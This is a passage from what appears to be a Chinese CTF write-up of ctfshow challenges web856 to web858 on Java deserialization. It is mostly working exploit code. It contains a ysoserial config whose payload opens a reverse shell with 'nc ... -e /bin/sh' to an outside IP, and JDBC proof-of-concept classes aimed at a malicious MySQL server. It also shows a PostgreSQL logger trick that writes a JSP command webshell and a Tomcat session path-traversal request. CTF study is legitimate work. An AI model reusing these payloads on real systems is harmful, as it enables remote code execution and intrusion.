 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
package com.ctfshow.entity;
 
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Objects;
 
public class Connection implements Serializable {
 
    private static final long serialVersionUID = 2807147458202078901L;
 
    private String driver;
 
    private String schema;
    private String host;
    private int port;
    private User user;
    private String database;
 
    public String getDriver() {
        return driver;
    }
 
    public void setDriver(String driver) {
        this.driver = driver;
    }
 
    public String getSchema() {
        return schema;
    }
 
    public void setSchema(String schema) {
        this.schema = schema;
    }
 
    public void setPort(int port) {
        this.port = port;
    }
 
    public String getHost() {
        return host;
    }
 
    public void setHost(String host) {
        this.host = host;
    }
 
 
    public User getUser() {
        return user;
    }
 
    public void setUser(User user) {
        this.user = user;
    }
 
    public String getDatabase() {
        return database;
    }
 
    public void setDatabase(String database) {
        this.database = database;
    }
 
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, SQLException {
        Class.forName("com.mysql.jdbc.Driver");
        ObjectInputStream.GetField gf = in.readFields();
        String host = (String) gf.get("host", "127.0.0.1");
        int port = (int) gf.get("port",3306);
        User user = (User) gf.get("user",new User("root","root"));
        String database = (String) gf.get("database", "ctfshow");
        String schema = (String) gf.get("schema", "jdbc:mysql");
        DriverManager.getConnection( schema+"://"+host+":"+port+"/?"+database+"&user="+user.getUsername());
    }
 
    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof Connection)) return false;
        Connection that = (Connection) o;
        return Objects.equals(host, that.host) && Objects.equals(port, that.port) && Objects.equals(user, that.user) && Objects.equals(database, that.database);
    }
 
    @Override
    public int hashCode() {
        return Objects.hash(host, port, user, database);
    }
}

Connection#readObject中直接进行链接,典型的 jdbc 打 Mysql

https://github.com/fnmsd/MySQL_Fake_Server 修改 config.json 如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
  "config":{
    "ysoserialPath":"/root/expJar/ysoserial-all.jar",
    "javaBinPath":"java",
    "fileOutputDir":"./fileOutput/",
    "displayFileContentOnScreen":true,
    "saveToFile":true
  },
  "fileread":{
    "win_ini":"c:\\windows\\win.ini",
    "win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
    "win":"c:\\windows\\",
    "linux_passwd":"/etc/passwd",
    "linux_hosts":"/etc/hosts",
    "index_php":"index.php",
    "ssrf":"https://www.baidu.com/",
    "__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
  },
  "yso":{
    "baozongwi":["CommonsCollections4","nc 154.36.152.109 4444 -e /bin/sh"]
  }
}

mysql-connector-java 5.1.39,无所谓,直接打

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.ctfshow.entity;

import java.io.*;
import java.lang.reflect.Field;

public class web856 {
    public static void main(String[] args) throws Exception {
        Connection connection = new Connection();

        setFieldValue(connection,"schema","jdbc:mysql");
        setFieldValue(connection, "host", "154.36.152.109");
        setFieldValue(connection, "port", 3307);
        setFieldValue(connection, "user", new User("baozongwi", "123456"));
        setFieldValue(connection,"database","detectCustomCollations=true&autoDeserialize=true");

        byte[] data = serialize(connection);
        String base64 = java.util.Base64.getEncoder().encodeToString(data);
        System.out.println(base64);
        unserialize(data);
    }
    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }

    private static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        return baos.toByteArray();
    }

    private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        return ois.readObject();
    }
}

需要注意两个细节,本地包名和远程包名一致,由于我是 python3.11 所以我还需要做一个脚本的修复,只需要在前面的 import 头修改如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import asyncio
import types
if not hasattr(asyncio, 'coroutine'):
    asyncio.coroutine = types.coroutine
if not hasattr(asyncio, 'ensure_future'):
    asyncio.ensure_future = asyncio.create_task
import logging
import signal
import random
signal.signal(signal.SIGINT, signal.SIG_DFL)

web857

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package com.ctfshow.entity;
 
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Objects;
 
public class Connection implements Serializable {
 
    private static final long serialVersionUID = 2807147458202078901L;
 
    private String driver;
 
    private String schema;
    private String host;
    private int port;
    private User user;
    private String database;
 
    public String getDriver() {
        return driver;
    }
 
    public void setDriver(String driver) {
        this.driver = driver;
    }
 
    public String getSchema() {
        return schema;
    }
 
    public void setSchema(String schema) {
        this.schema = schema;
    }
 
    public void setPort(int port) {
        this.port = port;
    }
 
    public String getHost() {
        return host;
    }
 
    public void setHost(String host) {
        this.host = host;
    }
 
 
    public User getUser() {
        return user;
    }
 
    public void setUser(User user) {
        this.user = user;
    }
 
    public String getDatabase() {
        return database;
    }
 
    public void setDatabase(String database) {
        this.database = database;
    }
 
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, SQLException {
 
        ObjectInputStream.GetField gf = in.readFields();
        String host = (String) gf.get("host", "127.0.0.1");
        String  driver = (String) gf.get("driver","com.mysql.jdbc.Driver");
        int port = (int) gf.get("port",3306);
        User user = (User) gf.get("user",new User("root","root"));
        String database = (String) gf.get("database", "ctfshow");
        String schema = (String) gf.get("schema", "jdbc:mysql");
        Class.forName(driver);
        DriverManager.getConnection( schema+"://"+host+":"+port+"/?"+database+"&user="+user.getUsername());
    }
 
    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof Connection)) return false;
        Connection that = (Connection) o;
        return Objects.equals(host, that.host) && Objects.equals(port, that.port) && Objects.equals(user, that.user) && Objects.equals(database, that.database);
    }
 
    @Override
    public int hashCode() {
        return Objects.hash(host, port, user, database);
    }
}

postgresql 42.3.1 直接写入 webshell 即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.ctfshow.entity;

import java.io.*;
import java.lang.reflect.Field;

public class web857 {
    public static void main(String[] args) throws Exception {
        Connection connection = new Connection();

        setFieldValue(connection,"driver","org.postgresql.Driver");
        setFieldValue(connection,"schema","jdbc:postgresql");
        setFieldValue(connection, "host", "154.36.152.109");
        setFieldValue(connection, "port", 3307);
        setFieldValue(connection, "user", new User("baozongwi", "123456"));
        setFieldValue(connection,"database","password=123456&loggerLevel=debug&loggerFile=../webapps/ROOT/b.jsp&<%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>");


        byte[] data = serialize(connection);
        String base64 = java.util.Base64.getEncoder().encodeToString(data);
        System.out.println(base64);
        unserialize(data);
    }
    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }

    private static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        return baos.toByteArray();
    }

    private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        return ois.readObject();
    }
}

链接之后就getshell了,写入的shell是无回显的,所以直接反弹shell即可

web858

img

Tomcat session反序列化漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.ctfshow.entity;
 
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
 
public class User implements Serializable {
    private static final long serialVersionUID = -3254536114659397781L;
    private String username;
    private String password;
 
    public String getUsername() {
        return username;
    }
 
    public void setUsername(String username) {
        this.username = username;
    }
 
    public String getPassword() {
        return password;
    }
 
    public void setPassword(String password) {
        this.password = password;
    }
 
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec(this.username);
    }
 
 
}

可以直接命令执行,而且也是可直接反序列化的,poc如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package com.ctfshow.entity;

import java.io.*;
import java.lang.reflect.Field;

public class web858 {
    public static void main(String[] args) throws Exception{
        User user = new User();
        setFieldValue(user,"username","cp /flag /usr/local/tomcat/webapps/ROOT/flag.txt");

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("aaa.session"));
        objectOutputStream.writeObject(user);
        objectOutputStream.close();
    }
    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }
}

上传得到路径 /usr/local/tomcat/webapps/ROOT/WEB-INF/upload/aaa.session,触发然后获得 flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
GET / HTTP/1.1
Host: 2edf9384-f7ab-4594-b86f-5ebac387d328.challenge.ctf.show
Cookie: JSESSIONID=../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/upload/aaa
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close

https://hoylindo.github.io/2023/12/19/CTFSHOW-Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-wp/

https://evo1ution.cn/2023/08/26/ctfshow-web4/

https://forum.butian.net/share/1339